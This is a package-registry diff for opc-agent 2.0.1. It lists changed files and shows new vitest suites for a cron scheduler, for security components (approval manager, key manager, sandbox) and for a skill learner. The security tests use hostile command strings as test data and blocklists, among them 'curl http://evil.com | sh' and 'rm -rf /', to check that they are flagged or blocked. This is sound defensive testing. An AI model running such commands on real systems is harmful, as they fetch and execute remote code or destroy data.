opc-agent 2.0.0 → 2.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/channels/email.d.ts +32 -26
- package/dist/channels/email.js +239 -62
- package/dist/channels/feishu.d.ts +21 -6
- package/dist/channels/feishu.js +225 -126
- package/dist/channels/websocket.d.ts +46 -3
- package/dist/channels/websocket.js +306 -37
- package/dist/channels/wechat.d.ts +33 -13
- package/dist/channels/wechat.js +229 -42
- package/dist/cli.js +712 -11
- package/dist/core/a2a.d.ts +17 -0
- package/dist/core/a2a.js +43 -1
- package/dist/core/agent.d.ts +16 -0
- package/dist/core/agent.js +108 -0
- package/dist/core/runtime.d.ts +6 -0
- package/dist/core/runtime.js +161 -2
- package/dist/core/sandbox.d.ts +26 -0
- package/dist/core/sandbox.js +117 -0
- package/dist/core/workflow-graph.d.ts +93 -0
- package/dist/core/workflow-graph.js +247 -0
- package/dist/doctor.d.ts +15 -0
- package/dist/doctor.js +183 -0
- package/dist/eval/index.d.ts +65 -0
- package/dist/eval/index.js +191 -0
- package/dist/index.d.ts +30 -6
- package/dist/index.js +60 -4
- package/dist/plugins/content-filter.d.ts +7 -0
- package/dist/plugins/content-filter.js +25 -0
- package/dist/plugins/index.d.ts +42 -0
- package/dist/plugins/index.js +108 -2
- package/dist/plugins/logger.d.ts +6 -0
- package/dist/plugins/logger.js +20 -0
- package/dist/plugins/rate-limiter.d.ts +7 -0
- package/dist/plugins/rate-limiter.js +35 -0
- package/dist/protocols/a2a/client.d.ts +25 -0
- package/dist/protocols/a2a/client.js +115 -0
- package/dist/protocols/a2a/index.d.ts +6 -0
- package/dist/protocols/a2a/index.js +12 -0
- package/dist/protocols/a2a/server.d.ts +41 -0
- package/dist/protocols/a2a/server.js +295 -0
- package/dist/protocols/a2a/types.d.ts +91 -0
- package/dist/protocols/a2a/types.js +15 -0
- package/dist/protocols/a2a/utils.d.ts +6 -0
- package/dist/protocols/a2a/utils.js +47 -0
- package/dist/protocols/agui/client.d.ts +10 -0
- package/dist/protocols/agui/client.js +75 -0
- package/dist/protocols/agui/index.d.ts +4 -0
- package/dist/protocols/agui/index.js +25 -0
- package/dist/protocols/agui/server.d.ts +37 -0
- package/dist/protocols/agui/server.js +191 -0
- package/dist/protocols/agui/types.d.ts +107 -0
- package/dist/protocols/agui/types.js +17 -0
- package/dist/protocols/index.d.ts +2 -0
- package/dist/protocols/index.js +19 -0
- package/dist/protocols/mcp/agent-tools.d.ts +11 -0
- package/dist/protocols/mcp/agent-tools.js +129 -0
- package/dist/protocols/mcp/index.d.ts +5 -0
- package/dist/protocols/mcp/index.js +11 -0
- package/dist/protocols/mcp/server.d.ts +31 -0
- package/dist/protocols/mcp/server.js +248 -0
- package/dist/protocols/mcp/types.d.ts +92 -0
- package/dist/protocols/mcp/types.js +17 -0
- package/dist/publish/index.d.ts +45 -0
- package/dist/publish/index.js +350 -0
- package/dist/schema/oad.d.ts +682 -65
- package/dist/schema/oad.js +36 -3
- package/dist/security/approval.d.ts +36 -0
- package/dist/security/approval.js +113 -0
- package/dist/security/index.d.ts +4 -0
- package/dist/security/index.js +8 -0
- package/dist/security/keys.d.ts +16 -0
- package/dist/security/keys.js +117 -0
- package/dist/studio/server.d.ts +63 -0
- package/dist/studio/server.js +625 -0
- package/dist/studio-ui/index.html +662 -0
- package/dist/telemetry/index.d.ts +93 -0
- package/dist/telemetry/index.js +285 -0
- package/package.json +5 -3
- package/scripts/install.ps1 +31 -0
- package/scripts/install.sh +40 -0
- package/src/channels/email.ts +351 -177
- package/src/channels/feishu.ts +349 -236
- package/src/channels/websocket.ts +399 -87
- package/src/channels/wechat.ts +329 -149
- package/src/cli.ts +783 -12
- package/src/core/a2a.ts +60 -0
- package/src/core/agent.ts +125 -0
- package/src/core/runtime.ts +127 -0
- package/src/core/sandbox.ts +143 -0
- package/src/core/workflow-graph.ts +365 -0
- package/src/doctor.ts +156 -0
- package/src/eval/index.ts +211 -0
- package/src/eval/suites/basic.json +16 -0
- package/src/eval/suites/memory.json +12 -0
- package/src/eval/suites/safety.json +14 -0
- package/src/index.ts +54 -6
- package/src/plugins/content-filter.ts +23 -0
- package/src/plugins/index.ts +133 -2
- package/src/plugins/logger.ts +18 -0
- package/src/plugins/rate-limiter.ts +38 -0
- package/src/protocols/a2a/client.ts +132 -0
- package/src/protocols/a2a/index.ts +8 -0
- package/src/protocols/a2a/server.ts +333 -0
- package/src/protocols/a2a/types.ts +88 -0
- package/src/protocols/a2a/utils.ts +50 -0
- package/src/protocols/agui/client.ts +83 -0
- package/src/protocols/agui/index.ts +4 -0
- package/src/protocols/agui/server.ts +218 -0
- package/src/protocols/agui/types.ts +153 -0
- package/src/protocols/index.ts +2 -0
- package/src/protocols/mcp/agent-tools.ts +134 -0
- package/src/protocols/mcp/index.ts +8 -0
- package/src/protocols/mcp/server.ts +262 -0
- package/src/protocols/mcp/types.ts +69 -0
- package/src/publish/index.ts +376 -0
- package/src/schema/oad.ts +39 -2
- package/src/security/approval.ts +131 -0
- package/src/security/index.ts +3 -0
- package/src/security/keys.ts +87 -0
- package/src/studio/server.ts +629 -0
- package/src/studio-ui/index.html +662 -0
- package/src/telemetry/index.ts +324 -0
- package/src/types/agent-workstation.d.ts +2 -0
- package/tests/a2a-protocol.test.ts +285 -0
- package/tests/agui-protocol.test.ts +246 -0
- package/tests/channels/discord.test.ts +79 -0
- package/tests/channels/email.test.ts +148 -0
- package/tests/channels/feishu.test.ts +123 -0
- package/tests/channels/telegram.test.ts +129 -0
- package/tests/channels/websocket.test.ts +53 -0
- package/tests/channels/wechat.test.ts +170 -0
- package/tests/chat-cli.test.ts +160 -0
- package/tests/daemon.test.ts +135 -0
- package/tests/deepbrain-wire.test.ts +234 -0
- package/tests/doctor.test.ts +38 -0
- package/tests/eval.test.ts +173 -0
- package/tests/init-role.test.ts +124 -0
- package/tests/mcp-client.test.ts +92 -0
- package/tests/mcp-server.test.ts +178 -0
- package/tests/plugin-a2a-enhanced.test.ts +230 -0
- package/tests/publish.test.ts +231 -0
- package/tests/scheduler.test.ts +200 -0
- package/tests/security-enhanced.test.ts +233 -0
- package/tests/skill-learner.test.ts +161 -0
- package/tests/studio.test.ts +229 -0
- package/tests/subagent.test.ts +63 -0
- package/tests/telemetry.test.ts +186 -0
- package/tests/tools/builtin-extended.test.ts +138 -0
- package/tests/workflow-graph.test.ts +279 -0
- package/tutorial/customer-service-agent/README.md +612 -0
- package/tutorial/customer-service-agent/SOUL.md +26 -0
- package/tutorial/customer-service-agent/agent.yaml +63 -0
- package/tutorial/customer-service-agent/package.json +19 -0
- package/tutorial/customer-service-agent/src/index.ts +69 -0
- package/tutorial/customer-service-agent/src/skills/faq.ts +27 -0
- package/tutorial/customer-service-agent/src/skills/ticket.ts +22 -0
- package/tutorial/customer-service-agent/tsconfig.json +14 -0
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
|
2
|
+
import { parseCron, cronMatches, Scheduler } from '../src/core/scheduler';
|
|
3
|
+
import type { CronJob } from '../src/core/scheduler';
|
|
4
|
+
|
|
5
|
+
describe('parseCron', () => {
|
|
6
|
+
it('parses "* * * * *" as all-any fields', () => {
|
|
7
|
+
const p = parseCron('* * * * *');
|
|
8
|
+
expect(p.minute).toEqual({ type: 'any' });
|
|
9
|
+
expect(p.hour).toEqual({ type: 'any' });
|
|
10
|
+
expect(p.dayOfMonth).toEqual({ type: 'any' });
|
|
11
|
+
expect(p.month).toEqual({ type: 'any' });
|
|
12
|
+
expect(p.dayOfWeek).toEqual({ type: 'any' });
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
it('parses "0 9 * * *" as minute=0, hour=9', () => {
|
|
16
|
+
const p = parseCron('0 9 * * *');
|
|
17
|
+
expect(p.minute).toEqual({ type: 'list', values: [0] });
|
|
18
|
+
expect(p.hour).toEqual({ type: 'list', values: [9] });
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
it('parses "*/5 * * * *" as every-5 minutes', () => {
|
|
22
|
+
const p = parseCron('*/5 * * * *');
|
|
23
|
+
expect(p.minute).toEqual({ type: 'every', step: 5 });
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('parses "0 9 * * 1" for Monday 9:00', () => {
|
|
27
|
+
const p = parseCron('0 9 * * 1');
|
|
28
|
+
expect(p.dayOfWeek).toEqual({ type: 'list', values: [1] });
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it('parses "0 9-17 * * *" as hour range 9-17', () => {
|
|
32
|
+
const p = parseCron('0 9-17 * * *');
|
|
33
|
+
expect(p.hour).toEqual({ type: 'list', values: [9, 10, 11, 12, 13, 14, 15, 16, 17] });
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
it('parses "0 9,12,18 * * *" as specific hours', () => {
|
|
37
|
+
const p = parseCron('0 9,12,18 * * *');
|
|
38
|
+
expect(p.hour).toEqual({ type: 'list', values: [9, 12, 18] });
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('throws on invalid cron expression with wrong field count', () => {
|
|
42
|
+
expect(() => parseCron('* * *')).toThrow('Invalid cron expression');
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
it('throws on invalid step value', () => {
|
|
46
|
+
expect(() => parseCron('*/abc * * * *')).toThrow();
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
it('throws on invalid range', () => {
|
|
50
|
+
expect(() => parseCron('a-b * * * *')).toThrow();
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
it('parses "30 */2 * * *" correctly', () => {
|
|
54
|
+
const p = parseCron('30 */2 * * *');
|
|
55
|
+
expect(p.minute).toEqual({ type: 'list', values: [30] });
|
|
56
|
+
expect(p.hour).toEqual({ type: 'every', step: 2 });
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
describe('cronMatches', () => {
|
|
61
|
+
it('"* * * * *" matches any date', () => {
|
|
62
|
+
const p = parseCron('* * * * *');
|
|
63
|
+
expect(cronMatches(p, new Date('2026-04-18T10:30:00'))).toBe(true);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
it('"0 9 * * *" matches 9:00 but not 10:00', () => {
|
|
67
|
+
const p = parseCron('0 9 * * *');
|
|
68
|
+
expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(true);
|
|
69
|
+
expect(cronMatches(p, new Date('2026-04-18T10:00:00'))).toBe(false);
|
|
70
|
+
expect(cronMatches(p, new Date('2026-04-18T09:05:00'))).toBe(false);
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
it('"*/5 * * * *" matches minutes divisible by 5', () => {
|
|
74
|
+
const p = parseCron('*/5 * * * *');
|
|
75
|
+
expect(cronMatches(p, new Date('2026-04-18T10:00:00'))).toBe(true);
|
|
76
|
+
expect(cronMatches(p, new Date('2026-04-18T10:05:00'))).toBe(true);
|
|
77
|
+
expect(cronMatches(p, new Date('2026-04-18T10:03:00'))).toBe(false);
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it('"0 9 * * 1" matches Monday 9:00 only', () => {
|
|
81
|
+
const p = parseCron('0 9 * * 1');
|
|
82
|
+
// 2026-04-20 is Monday
|
|
83
|
+
expect(cronMatches(p, new Date('2026-04-20T09:00:00'))).toBe(true);
|
|
84
|
+
// 2026-04-18 is Saturday
|
|
85
|
+
expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(false);
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
it('"0 9-17 * * *" matches hours 9 through 17', () => {
|
|
89
|
+
const p = parseCron('0 9-17 * * *');
|
|
90
|
+
expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(true);
|
|
91
|
+
expect(cronMatches(p, new Date('2026-04-18T17:00:00'))).toBe(true);
|
|
92
|
+
expect(cronMatches(p, new Date('2026-04-18T08:00:00'))).toBe(false);
|
|
93
|
+
expect(cronMatches(p, new Date('2026-04-18T18:00:00'))).toBe(false);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
describe('Scheduler', () => {
|
|
98
|
+
let scheduler: Scheduler;
|
|
99
|
+
let handler: ReturnType<typeof vi.fn>;
|
|
100
|
+
|
|
101
|
+
beforeEach(() => {
|
|
102
|
+
vi.useFakeTimers();
|
|
103
|
+
handler = vi.fn();
|
|
104
|
+
scheduler = new Scheduler(handler);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
afterEach(() => {
|
|
108
|
+
scheduler.stop();
|
|
109
|
+
vi.useRealTimers();
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
const makeJob = (id: string, schedule = '* * * * *', enabled = true): CronJob => ({
|
|
113
|
+
id, name: `job-${id}`, schedule, task: `task-${id}`, enabled,
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it('addJob adds a job retrievable by getJobs', () => {
|
|
117
|
+
scheduler.addJob(makeJob('j1'));
|
|
118
|
+
expect(scheduler.getJobs()).toHaveLength(1);
|
|
119
|
+
expect(scheduler.getJobs()[0].id).toBe('j1');
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
it('removeJob removes a job', () => {
|
|
123
|
+
scheduler.addJob(makeJob('j1'));
|
|
124
|
+
scheduler.removeJob('j1');
|
|
125
|
+
expect(scheduler.getJobs()).toHaveLength(0);
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
it('enableJob / disableJob toggles enabled', () => {
|
|
129
|
+
scheduler.addJob(makeJob('j1', '* * * * *', false));
|
|
130
|
+
expect(scheduler.getJob('j1')!.enabled).toBe(false);
|
|
131
|
+
scheduler.enableJob('j1');
|
|
132
|
+
expect(scheduler.getJob('j1')!.enabled).toBe(true);
|
|
133
|
+
scheduler.disableJob('j1');
|
|
134
|
+
expect(scheduler.getJob('j1')!.enabled).toBe(false);
|
|
135
|
+
});
|
|
136
|
+
|
|
137
|
+
it('getJobs returns all jobs', () => {
|
|
138
|
+
scheduler.addJob(makeJob('j1'));
|
|
139
|
+
scheduler.addJob(makeJob('j2'));
|
|
140
|
+
scheduler.addJob(makeJob('j3'));
|
|
141
|
+
expect(scheduler.getJobs()).toHaveLength(3);
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
it('start begins ticking (handler called on matching cron)', () => {
|
|
145
|
+
vi.setSystemTime(new Date('2026-04-18T10:00:00'));
|
|
146
|
+
scheduler.addJob(makeJob('j1', '* * * * *'));
|
|
147
|
+
scheduler.start();
|
|
148
|
+
// tick() called immediately on start
|
|
149
|
+
expect(handler).toHaveBeenCalledTimes(1);
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
it('stop stops ticking', () => {
|
|
153
|
+
vi.setSystemTime(new Date('2026-04-18T10:00:00'));
|
|
154
|
+
scheduler.addJob(makeJob('j1', '* * * * *'));
|
|
155
|
+
scheduler.start();
|
|
156
|
+
handler.mockClear();
|
|
157
|
+
scheduler.stop();
|
|
158
|
+
vi.advanceTimersByTime(120_000);
|
|
159
|
+
expect(handler).not.toHaveBeenCalled();
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
it('disabled job is not fired', () => {
|
|
163
|
+
vi.setSystemTime(new Date('2026-04-18T10:00:00'));
|
|
164
|
+
scheduler.addJob(makeJob('j1', '* * * * *', false));
|
|
165
|
+
scheduler.start();
|
|
166
|
+
expect(handler).not.toHaveBeenCalled();
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it('double-fire prevention within same minute', () => {
|
|
170
|
+
vi.setSystemTime(new Date('2026-04-18T10:00:00'));
|
|
171
|
+
scheduler.addJob(makeJob('j1', '* * * * *'));
|
|
172
|
+
scheduler.start();
|
|
173
|
+
expect(handler).toHaveBeenCalledTimes(1);
|
|
174
|
+
// Advance 30 seconds (still same minute), force another tick
|
|
175
|
+
vi.advanceTimersByTime(30_000);
|
|
176
|
+
// No additional call because same minute
|
|
177
|
+
expect(handler).toHaveBeenCalledTimes(1);
|
|
178
|
+
});
|
|
179
|
+
|
|
180
|
+
it('job fires again in next minute', () => {
|
|
181
|
+
vi.setSystemTime(new Date('2026-04-18T10:00:00'));
|
|
182
|
+
scheduler.addJob(makeJob('j1', '* * * * *'));
|
|
183
|
+
scheduler.start();
|
|
184
|
+
expect(handler).toHaveBeenCalledTimes(1);
|
|
185
|
+
vi.advanceTimersByTime(60_000);
|
|
186
|
+
expect(handler).toHaveBeenCalledTimes(2);
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
it('runJob fires handler immediately', async () => {
|
|
190
|
+
scheduler.addJob(makeJob('j1', '0 0 1 1 *')); // rare schedule
|
|
191
|
+
const result = await scheduler.runJob('j1');
|
|
192
|
+
expect(result).toBe(true);
|
|
193
|
+
expect(handler).toHaveBeenCalledTimes(1);
|
|
194
|
+
});
|
|
195
|
+
|
|
196
|
+
it('runJob returns false for unknown job', async () => {
|
|
197
|
+
const result = await scheduler.runJob('nonexistent');
|
|
198
|
+
expect(result).toBe(false);
|
|
199
|
+
});
|
|
200
|
+
});
|
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
import { describe, it, expect, beforeEach } from 'vitest';
|
|
2
|
+
import { ApprovalManager } from '../src/security/approval';
|
|
3
|
+
import { KeyManager } from '../src/security/keys';
|
|
4
|
+
import { Sandbox } from '../src/core/sandbox';
|
|
5
|
+
import * as fs from 'fs';
|
|
6
|
+
import * as path from 'path';
|
|
7
|
+
import * as os from 'os';
|
|
8
|
+
|
|
9
|
+
// ── ApprovalManager Tests ────────────────────────────────────
|
|
10
|
+
|
|
11
|
+
describe('ApprovalManager', () => {
|
|
12
|
+
let mgr: ApprovalManager;
|
|
13
|
+
|
|
14
|
+
beforeEach(() => {
|
|
15
|
+
mgr = new ApprovalManager('dangerous');
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it('should detect dangerous rm -rf command', () => {
|
|
19
|
+
expect(mgr.needsApproval('shell', 'rm -rf /tmp')).toBe(true);
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
it('should detect dangerous sudo command', () => {
|
|
23
|
+
expect(mgr.needsApproval('shell', 'sudo apt install something')).toBe(true);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('should detect dangerous npm publish', () => {
|
|
27
|
+
expect(mgr.needsApproval('shell', 'npm publish')).toBe(true);
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('should detect pipe to shell pattern', () => {
|
|
31
|
+
expect(mgr.needsApproval('shell', 'curl http://evil.com | sh')).toBe(true);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
it('should allow safe commands in dangerous mode', () => {
|
|
35
|
+
expect(mgr.needsApproval('shell', 'npm install')).toBe(false);
|
|
36
|
+
expect(mgr.needsApproval('shell', 'git status')).toBe(false);
|
|
37
|
+
expect(mgr.needsApproval('shell', 'ls -la')).toBe(false);
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
it('should require approval for everything in always mode', () => {
|
|
41
|
+
mgr.setPolicy('always');
|
|
42
|
+
expect(mgr.needsApproval('shell', 'ls')).toBe(true);
|
|
43
|
+
expect(mgr.needsApproval('shell', 'echo hello')).toBe(true);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it('should never require approval in never mode', () => {
|
|
47
|
+
mgr.setPolicy('never');
|
|
48
|
+
expect(mgr.needsApproval('shell', 'rm -rf /')).toBe(false);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it('should skip approval for allowlisted commands', () => {
|
|
52
|
+
mgr.addToAllowlist('npm install');
|
|
53
|
+
// Even though 'dangerous' mode, allowlisted commands bypass
|
|
54
|
+
expect(mgr.needsApproval('shell', 'npm install express')).toBe(false);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
it('should always require approval for blocklisted commands', () => {
|
|
58
|
+
mgr.setPolicy('never');
|
|
59
|
+
mgr.addToBlocklist('rm -rf /');
|
|
60
|
+
expect(mgr.needsApproval('shell', 'rm -rf /')).toBe(true);
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
it('should manage approval request lifecycle', () => {
|
|
64
|
+
const req = mgr.requestApproval('shell', 'sudo reboot', 'Restarting server');
|
|
65
|
+
expect(req.status).toBe('pending');
|
|
66
|
+
expect(mgr.getPending()).toHaveLength(1);
|
|
67
|
+
|
|
68
|
+
mgr.approve(req.id, 'admin');
|
|
69
|
+
expect(mgr.getRequest(req.id)?.status).toBe('approved');
|
|
70
|
+
expect(mgr.getRequest(req.id)?.approvedBy).toBe('admin');
|
|
71
|
+
expect(mgr.getPending()).toHaveLength(0);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it('should deny approval requests', () => {
|
|
75
|
+
const req = mgr.requestApproval('shell', 'rm -rf /', 'Bad idea');
|
|
76
|
+
mgr.deny(req.id, 'admin');
|
|
77
|
+
expect(mgr.getRequest(req.id)?.status).toBe('denied');
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it('should throw on double approve', () => {
|
|
81
|
+
const req = mgr.requestApproval('shell', 'test', 'test');
|
|
82
|
+
mgr.approve(req.id, 'admin');
|
|
83
|
+
expect(() => mgr.approve(req.id, 'admin')).toThrow();
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
it('should manage allowlist/blocklist', () => {
|
|
87
|
+
mgr.addToAllowlist('npm test');
|
|
88
|
+
mgr.addToBlocklist('danger');
|
|
89
|
+
expect(mgr.getAllowlist()).toContain('npm test');
|
|
90
|
+
expect(mgr.getBlocklist()).toContain('danger');
|
|
91
|
+
mgr.removeFromAllowlist('npm test');
|
|
92
|
+
expect(mgr.getAllowlist()).not.toContain('npm test');
|
|
93
|
+
});
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
// ── KeyManager Tests ─────────────────────────────────────────
|
|
97
|
+
|
|
98
|
+
describe('KeyManager', () => {
|
|
99
|
+
const tmpDir = path.join(os.tmpdir(), 'opc-test-keys-' + Date.now());
|
|
100
|
+
const keyFile = path.join(tmpDir, 'keys.json');
|
|
101
|
+
|
|
102
|
+
it('should set and get a key', () => {
|
|
103
|
+
const km = new KeyManager(keyFile);
|
|
104
|
+
km.set('OPENAI_KEY', 'sk-test-123');
|
|
105
|
+
expect(km.get('OPENAI_KEY')).toBe('sk-test-123');
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
it('should persist keys across instances', () => {
|
|
109
|
+
const km1 = new KeyManager(keyFile);
|
|
110
|
+
km1.set('MY_KEY', 'my-secret-value');
|
|
111
|
+
|
|
112
|
+
const km2 = new KeyManager(keyFile);
|
|
113
|
+
expect(km2.get('MY_KEY')).toBe('my-secret-value');
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it('should delete a key', () => {
|
|
117
|
+
const km = new KeyManager(keyFile);
|
|
118
|
+
km.set('TO_DELETE', 'value');
|
|
119
|
+
expect(km.delete('TO_DELETE')).toBe(true);
|
|
120
|
+
expect(km.get('TO_DELETE')).toBeUndefined();
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it('should list key names without values', () => {
|
|
124
|
+
const kf = path.join(tmpDir, 'keys2.json');
|
|
125
|
+
const km = new KeyManager(kf);
|
|
126
|
+
km.set('KEY_A', 'secret-a');
|
|
127
|
+
km.set('KEY_B', 'secret-b');
|
|
128
|
+
const names = km.list();
|
|
129
|
+
expect(names).toContain('KEY_A');
|
|
130
|
+
expect(names).toContain('KEY_B');
|
|
131
|
+
// Ensure values are not in the list
|
|
132
|
+
expect(names).not.toContain('secret-a');
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('should store encrypted data on disk', () => {
|
|
136
|
+
const kf = path.join(tmpDir, 'keys3.json');
|
|
137
|
+
const km = new KeyManager(kf);
|
|
138
|
+
km.set('SECRET', 'plain-text-value');
|
|
139
|
+
const raw = fs.readFileSync(kf, 'utf-8');
|
|
140
|
+
expect(raw).not.toContain('plain-text-value');
|
|
141
|
+
expect(raw).toContain('SECRET'); // key name is visible
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
// Cleanup
|
|
145
|
+
afterAll(() => {
|
|
146
|
+
try { fs.rmSync(tmpDir, { recursive: true }); } catch {}
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
// ── Enhanced Sandbox Tests ───────────────────────────────────
|
|
151
|
+
|
|
152
|
+
describe('Enhanced Sandbox', () => {
|
|
153
|
+
it('should validate commands against blocklist', () => {
|
|
154
|
+
const sb = new Sandbox({
|
|
155
|
+
trustLevel: 'certified',
|
|
156
|
+
agentDir: '/tmp/agent',
|
|
157
|
+
blockedCommands: ['rm -rf /'],
|
|
158
|
+
});
|
|
159
|
+
const result = sb.validateCommand('rm -rf /');
|
|
160
|
+
expect(result.allowed).toBe(false);
|
|
161
|
+
expect(result.reason).toContain('blocked');
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
it('should validate commands against allowlist', () => {
|
|
165
|
+
const sb = new Sandbox({
|
|
166
|
+
trustLevel: 'certified',
|
|
167
|
+
agentDir: '/tmp/agent',
|
|
168
|
+
allowedCommands: ['npm test', 'npm install'],
|
|
169
|
+
});
|
|
170
|
+
expect(sb.validateCommand('npm test').allowed).toBe(true);
|
|
171
|
+
expect(sb.validateCommand('curl evil.com').allowed).toBe(false);
|
|
172
|
+
});
|
|
173
|
+
|
|
174
|
+
it('should reject shell commands in sandbox mode', () => {
|
|
175
|
+
const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
|
|
176
|
+
const result = sb.validateCommand('echo hello');
|
|
177
|
+
expect(result.allowed).toBe(false);
|
|
178
|
+
expect(result.reason).toContain('disabled');
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
it('should validate network access', () => {
|
|
182
|
+
const sb = new Sandbox({
|
|
183
|
+
trustLevel: 'sandbox',
|
|
184
|
+
agentDir: '/tmp/agent',
|
|
185
|
+
networkAccess: false,
|
|
186
|
+
});
|
|
187
|
+
const result = sb.validateNetwork('https://api.openai.com');
|
|
188
|
+
expect(result.allowed).toBe(false);
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
it('should report max file size config', () => {
|
|
192
|
+
const sb = new Sandbox({
|
|
193
|
+
trustLevel: 'sandbox',
|
|
194
|
+
agentDir: '/tmp/agent',
|
|
195
|
+
maxFileSize: 5 * 1024 * 1024,
|
|
196
|
+
});
|
|
197
|
+
expect(sb.getMaxFileSize()).toBe(5 * 1024 * 1024);
|
|
198
|
+
});
|
|
199
|
+
|
|
200
|
+
it('should default max file size to 10MB', () => {
|
|
201
|
+
const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
|
|
202
|
+
expect(sb.getMaxFileSize()).toBe(10 * 1024 * 1024);
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
it('should track violations', () => {
|
|
206
|
+
const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
|
|
207
|
+
sb.validateCommand('echo hello'); // denied — shell disabled
|
|
208
|
+
sb.validateCommand('ls'); // denied
|
|
209
|
+
expect(sb.getViolations()).toBe(2);
|
|
210
|
+
});
|
|
211
|
+
|
|
212
|
+
it('should reject writes to read-only paths', () => {
|
|
213
|
+
const sb = new Sandbox({
|
|
214
|
+
trustLevel: 'listed',
|
|
215
|
+
agentDir: '/tmp/agent',
|
|
216
|
+
readOnlyPaths: ['/etc'],
|
|
217
|
+
});
|
|
218
|
+
const result = sb.validateFileOp('write', '/etc/passwd');
|
|
219
|
+
expect(result.allowed).toBe(false);
|
|
220
|
+
expect(result.reason).toContain('read-only');
|
|
221
|
+
});
|
|
222
|
+
|
|
223
|
+
it('should return sandbox status', () => {
|
|
224
|
+
const tmpDir = path.join(os.tmpdir(), 'opc-sandbox-test-' + Date.now());
|
|
225
|
+
fs.mkdirSync(tmpDir, { recursive: true });
|
|
226
|
+
fs.writeFileSync(path.join(tmpDir, 'test.txt'), 'hello');
|
|
227
|
+
const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: tmpDir });
|
|
228
|
+
const status = sb.getStatus();
|
|
229
|
+
expect(status.files).toBeGreaterThanOrEqual(1);
|
|
230
|
+
expect(status.totalSize).toBeGreaterThan(0);
|
|
231
|
+
fs.rmSync(tmpDir, { recursive: true });
|
|
232
|
+
});
|
|
233
|
+
});
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
|
2
|
+
import * as fs from 'fs';
|
|
3
|
+
import * as path from 'path';
|
|
4
|
+
import * as os from 'os';
|
|
5
|
+
import { SkillLearner } from '../src/skills/auto-learn';
|
|
6
|
+
|
|
7
|
+
describe('SkillLearner', () => {
|
|
8
|
+
let tmpDir: string;
|
|
9
|
+
let learner: SkillLearner;
|
|
10
|
+
|
|
11
|
+
beforeEach(() => {
|
|
12
|
+
tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'skill-learner-'));
|
|
13
|
+
learner = new SkillLearner(tmpDir);
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
afterEach(() => {
|
|
17
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
it('saveSkill creates .md file', async () => {
|
|
21
|
+
const skill = makeSkill('test-skill');
|
|
22
|
+
await learner.saveSkill(skill);
|
|
23
|
+
expect(fs.existsSync(path.join(tmpDir, 'test-skill.md'))).toBe(true);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('loadSkills reads .md files', async () => {
|
|
27
|
+
